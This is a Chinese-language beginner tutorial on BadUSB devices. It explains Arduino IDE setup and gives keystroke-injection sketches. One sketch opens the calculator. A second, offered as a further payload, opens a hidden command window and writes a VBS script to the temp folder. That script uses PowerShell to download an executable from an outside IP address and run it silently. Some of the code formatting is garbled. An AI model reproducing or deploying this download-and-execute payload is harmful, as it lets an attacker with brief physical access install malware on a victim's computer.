IOT黑客入门篇之初探Badusb

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什么是Badusb？

购买一个Badusb

向Badusb写入恶意代码

安装烧录工具-Arduino

  Arduino是一款便捷灵活、方便上手的开源电子原型平台。其开发环境，主要包含两个主要的部分：硬件部分是可以用来做电路连接的Arduino电路板；另外一个则是Arduino IDE，你的计算机中的程序开发环境。你只要在IDE中编写程序代码，将程序上传到Arduino电路板后，程序便会告诉Arduino电路板要做些什么了

注意：如果无法安装，可以手动下载到C:\Users\admin\AppData\Local\Arduino15\staging\libraries这个目录下面打开即可。

然后插入Badusb，Arduino IDE选择Badusb的端口以及对应型号


弹一个计算器

#include <Keyboard.h> void setup() { 
    Keyboard.begin(); delay(200); delay(100); Keyboard.press(KEY_LEFT_GUI); delay(100); Keyboard.press('r'); delay(50); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(100); Keyboard.println("calc"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.end(); } void loop() { 
   } 

其他payload

#include <Keyboard.h> void setup() { 
    Keyboard.begin();//开始键盘通讯 delay(300);//延时 Keyboard.press(KEY_LEFT_GUI);//win 键 delay(500); Keyboard.press('r');//r 键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\""); [//Keyboard.println](notion://keyboard.println/)("cmd"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(1000); Keyboard.println("ECHO dim OBJsHELL >%TEMP%/BAD.VBS"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.println("ECHO SET OBJsHELL = WSCRIPT.CREATEoBJECT(\"WSCRIPT.SHELL\") >>%TEMP%/BAD.VBS"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.println("ECHO IrETURN = OBJsHELL.rUN(\"CMD /C ECHO WGET -uRI [HTTP://](http://106.75.249.46:9033/cOOOLIS-MS.EXE)x.x.x.x/sss.exe -oUTfILE %TEMP%/sss.exe | POWERSHELL - && %TEMP%/sss.exe \", 0, true) >>%TEMP%/BAD.VBS"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.println("%temp%/bad.vbs"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.println("exit"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); } void loop() { 
    // put your main code here, to run repeatedly: }